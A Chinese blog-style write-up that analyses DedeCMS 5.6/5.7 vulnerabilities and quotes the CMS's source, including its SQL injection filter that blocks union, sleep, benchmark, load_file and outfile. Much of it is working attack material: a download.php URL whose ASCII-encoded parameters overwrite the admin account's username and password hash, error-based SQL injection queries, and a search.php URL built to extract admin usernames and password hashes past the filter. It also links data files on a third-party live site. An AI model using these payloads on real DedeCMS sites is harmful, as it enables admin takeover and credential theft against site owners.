前几天和峰哥一起搞网站,遇到了dedecms的模板,大神们分分秒杀的站,蛋疼的弄了两天。于是乎痛定思痛研究了一下他最近出现的漏洞。
http://www.dedecms.com/html/chanpinxiazai/list_3_1.html
http://sebug.net/appdir/%E7%BB%87%E6%A2%A6(DedeCms)
http://www.hxci.com.cn/library/data/admin/ver.txt
http://www.hxci.com.cn/library/data/mysqli_error_trace.inc
http://php.net/manual/zh/language.variables.scope.php
if(isset($GLOBALS['arrs1'])) { $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+ }
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #include/dedesql.class.php的SetQuery函数
function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); $this->queryString = $sql; echo "---------InSetQuery---------<br>"; echo $sql."<br>"; }顺便说一下这些数据可的基本变量保存在data/common.inc.php,被dedesql.class.php包含,其函数Init把全局变量转存到本地,
function Init($pconnect=FALSE) { $this->linkID = 0; //$this->queryString = ''; //$this->parameters = Array(); $this->dbHost = $GLOBALS['cfg_dbhost']; $this->dbUser = $GLOBALS['cfg_dbuser']; $this->dbPwd = $GLOBALS['cfg_dbpwd']; $this->dbName = $GLOBALS['cfg_dbname']; $this->dbPrefix = $GLOBALS['cfg_dbprefix']; $this->result["me"] = 0; $this->Open($pconnect); }$GLOBALS的用法可以看这里
http://www.php.net/manual/zh/reserved.variables.globals.php
http://localhost/DedeCMS-V5.7-GBK-SP1/uploads/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
http://localhost/DedeCMS-V5.7-GBK-SP1/uploads/plus/mytag_js.php?arcID=4里面的语句会把数据库里的内容加入到一个文件,之后包含它。
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time ) { $pv = new PartView(); $row = $pv->dsql->GetOne(" SELECT * FROM `#@__mytag` WHERE aid='$aid' "); if(!is_array($row)) { global $myvalues; $myvalues = "<!--\r\ndocument.write('Not found input!');\r\n-->"; } else { $tagbody = ''; if($row['timeset']==0) { $tagbody = $row['normbody']; } else { $ntime = time(); if($ntime>$row['endtime'] || $ntime < $row['starttime']) { $tagbody = $row['expbody']; } else { $tagbody = $row['normbody']; } } $pv->SetTemplet($tagbody, 'string'); $myvalues = $pv->GetResult(); echo $myvalues; $myvalues = str_replace('"','\"',$myvalues); $myvalues = str_replace("\r","\\r",$myvalues); $myvalues = str_replace("\n","\\n",$myvalues); $myvalues = "<!--\r\ndocument.write(\"{$myvalues}\");\r\n-->\r\n"; file_put_contents($cacheFile, $myvalues); echo "<br>"; echo $myvalues; echo "<br>"; /* 使用 file_put_contents替换下列代码提高执行效率 $fp = fopen($cacheFile, 'w'); fwrite($fp, $myvalues); fclose($fp); */ } echo "---------------------------------------------<br>"; echo '('.$myvalues.')'; echo "---------------------------------------------<br>"; }
http://zone.wooyun.org/content/2414
//如果是普通查询语句,直接过滤一些特殊语法 if($querytype=='select') { $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}"; //$notallow2 = "--|/\*"; if(eregi($notallow1,$db_string)) { fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n"); exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>"); } }在search.php中有一句加入转义,会把单引号双引号和斜杠转义,在magic_quotes_gpc开启的时候PHP会自动对GET POST COOKIE进行addslashes()
$keyword = addslashes(cn_substr($keyword,30));
'~(^|[^a-z])benchmark($|[^[a-z])~s'波浪线的含义是这样
$reg = "/(^|[^a-z]) benchmark($|[^[a-z])/s"; preg_match($reg,$clean) !=0; 相当于 $reg = "~(^|[^a-z]) benchmark($|[^[a-z])~s"; preg_match($reg,$clean) !=0; 默认都是在//之间包含正则式的,也可以用~~代替最后s的含义是这样
g 匹配所有可能的模式 i 忽略大小写 m 将串视为多行 o 只赋值一次 s 将串视为单行 x 忽略模式中的空白
//完整的SQL检查 while (TRUE) { $pos = strpos($db_string, '\'', $pos + 1); if ($pos === FALSE) { break; } $clean .= substr($db_string, $old_pos, $pos - $old_pos); while (TRUE) { $pos1 = strpos($db_string, '\'', $pos + 1); $pos2 = strpos($db_string, '\\', $pos + 1); if ($pos1 === FALSE) { break; } elseif ($pos2 == FALSE || $pos2 > $pos1) { $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= '$s$'; $old_pos = $pos + 1; } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它 if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error="union detect"; } //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们 elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE) { $fail = TRUE; $error="comment detect"; } //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库 elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error="slown down detect"; } elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error="slown down detect"; } elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error="file fun detect"; } elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error="file fun detect"; } //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息 elseif (preg_match('~\([^)]*?select~s', $clean) != 0) { $fail = TRUE; $error="sub select detect"; } if (!empty($fail)) { fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n"); exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>"); } else { return $db_string; } }
Select channeltype From `dede_arctype` where id=111=@`\'` UnIon seleCt 1 from `dede_admin`#
Select channeltype From `dede_arctype` where id=111=@`\\\'` and (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),(substring((select CONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),1,62)))a from information_schema.tables group by a)b )#@`\\\'`
http://localhost/DedeCmsV5.6-GBK-Final/uploads/plus/search.php?keyword=as&typeArr[ 111%3D@`\'`+and+( SELECT+1+FROM+( select+count(*), concat(floor(rand(0)*2), (substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)) )a+ from+information_schema.tables+group+by+a)b )%23@`\'`+]=a